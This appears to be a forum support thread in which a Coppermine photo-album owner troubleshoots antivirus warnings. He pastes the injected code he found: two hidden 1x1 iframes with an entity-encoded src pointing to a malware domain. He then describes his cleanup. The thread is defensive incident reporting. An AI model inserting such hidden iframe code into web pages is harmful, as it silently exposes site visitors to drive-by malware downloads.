Print

[brayford]

I run the following website - http://www.lincsbirds.co.uk/album/ and have googleADs on the site.

The site is a Coppermine Photo Album which is now fully patched to v14.

When I access the page I get the following virus messages – all POINTING towards coming from GoogleADs.

pagead2.googlesyndication.com/pagead/ads?client=ca-pub-1166176382189939&dt=1207550634265&lmt=1207550634&prev_fmts=728x90_as&format=728x90_as&output=html&correlator=1207550632812&url=http%3A%2F%2Fwww.lincsbirds.co.uk%2Falbum%2F&ad_type=text_image&ref=ht

pagead2.googlesyndication.com/pagead/ads?client=ca-pub-6176382189939&dt=1207550680375&lmt=1207550680&prev_fmts=728x90_as&format=728x90_as&output=html&correlator=1207550679984&url=http%3A%2F%2Fwww.lincsbirds.co.uk%2Falbum%2F&ad_type=text_image&ref=ht

cdpuvbhfzz.com/dl/adv598.php

pagead2.googlesyndication.com/pagead/ads?client=ca-pub-1166176382189939&dt=1207550634265&lmt=1207550634&prev_fmts=728x90_as&format=728x90_as&output=html&correlator=1207550632812&url=http%3A%2F%2Fwww.lincsbirds.co.uk%2Falbum%2F&ad_type=text_image&ref=ht

When this first happened, I installed the latest version of coppermine, dropped the database, and uploaded from backup pre virus-scan message....

Any help or suggestions to what is going on would be appreciated


Regards

Andrew

[brayford]

I have tried to edit my last post - because I didn't intend to make the links to the googleADs 'live' - and the link to adv598.php live. However, I can't seem to change my original post - so if there is an administrator who can change this - please do so!

[Joachim Müller]

I have tried to edit my last post

You can't because this feature has been deliberately disabled due to previous abuse.

because I didn't intend to make the links to the googleADs 'live' - and the link to adv598.php live.

Your above posting doesn't contain actual links to something potentially dangerous, but just plain text.

so if there is an administrator who can change this - please do so!

No need for this.

Review the thread Someone has Redirected my Site to cdpuvbhfzz.com-What do I do?

[brayford]

Here is the code that was inserted.
<iframe
src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#­98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97­;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;"
width=1 height=1></iframe><iframe
src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#­98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97­;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;"
width=1 height=1></iframe>


The first iFrame src points to "http : // cdpuvbhfzz.com / dl / adv598.php"


The code actually exists in the page, suggesting the page was hacked or the server was hacked to automatically insert the code at
the end of every page?

So to clear I did the following

1. Dropped the database
2. Renamed the Album _old
3. Created a new folder
4. Uploaded Coppermine v14
5. Setup coppermine
6. Imported the database
7. Copied the userpic from album_old to the new album

Then I made a BIG mistake....

I copied the template.html from the old site to the new site... The iFrame was in the old template folder! So I manually editted this file and now everything is working fine.....